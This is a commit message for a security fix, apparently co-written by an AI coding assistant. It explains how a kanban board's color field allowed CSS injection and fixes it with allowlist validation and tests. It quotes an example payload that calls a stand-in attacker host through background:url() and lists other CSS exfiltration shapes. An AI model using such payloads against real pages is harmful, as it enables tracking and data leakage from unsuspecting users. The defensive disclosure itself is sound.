`_renderKanbanBoardMenu` interpolates `b.color` into a `style=""`
attribute through `esc()`:
const colorStyle = b.color ? `color:${esc(b.color)}` : '';
return `<button ...><span ... style="${colorStyle}">...`;
`esc()` HTML-escapes (`<`, `>`, `&`, `"`, `'`) which prevents breaking
out of the `style=""` attribute, but does NOT prevent CSS-context
injection inside it. Neither this bridge nor the agent's
`hermes_cli.kanban_db.write_board_metadata` validates `color`, so an
authenticated WebUI user (or anyone writing through the CLI / agent
dashboard) can set:
"color": "red;background:url('http://attacker.example/exfil')"
…and the malicious URL will be fetched whenever any user opens the
board switcher. Verified with a Node harness against the actual
unmodified renderer:
INPUT: "red;background:url('http://attacker.example/exfil')"
OUTPUT: <span ... style="color:red;background:url('http://attacker.example/exfil')">
The single-quote escaping doesn't help — `url(http://x)` works without
quotes — and CSS gives the attacker a useful exfil/probe primitive
(`background-image:url(...)`, `font-family: url(...)`, `@import`).
Frontend-only fix: validate `color` against an allowlist of CSS hex
codes (`#rgb`/`#rrggbb`/`#rrggbbaa`) and short alpha-only color names
(`red`, `blue`, ...) before interpolating. Anything else collapses to
the empty string so the renderer drops the `color:` rule entirely. The
agent dashboard plugin doesn't render board.color today, so this match
intentionally diverges (stricter) from the cross-tool contract — boards
written by the agent CLI with `rgb(...)` / `hsl(...)` colors will just
render uncoloured here, never break.
Server-side validation is intentionally not added in this fix:
- The agent CLI accepts arbitrary `color` strings, so any server-side
rejection here would diverge from the cross-tool contract for inputs
that are well-formed-but-unusual (e.g. `rgb(255,0,0)`).
- The renderer is the trust boundary that actually matters — color
values written by other surfaces (CLI, gateway) flow through the
same bridge and now get safely degraded at render time.
Behavioural harness: 17/17 cases pass (named colors, hex codes accepted;
all CSS-injection shapes including `expression(alert(1))`, `;background:`,
`url(...)`, malformed hex collapse to '').
Tests:
- Added test_kanban_board_color_is_validated_against_css_injection
which drives the helper through Node and asserts both renderer-level
invariants (helper called, raw `esc(b.color)` interpolation removed).
- 64/64 pass in tests/test_kanban_bridge.py + tests/test_kanban_ui_static.py
- Full suite: 4297 passed, 57 skipped, 0 failed.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
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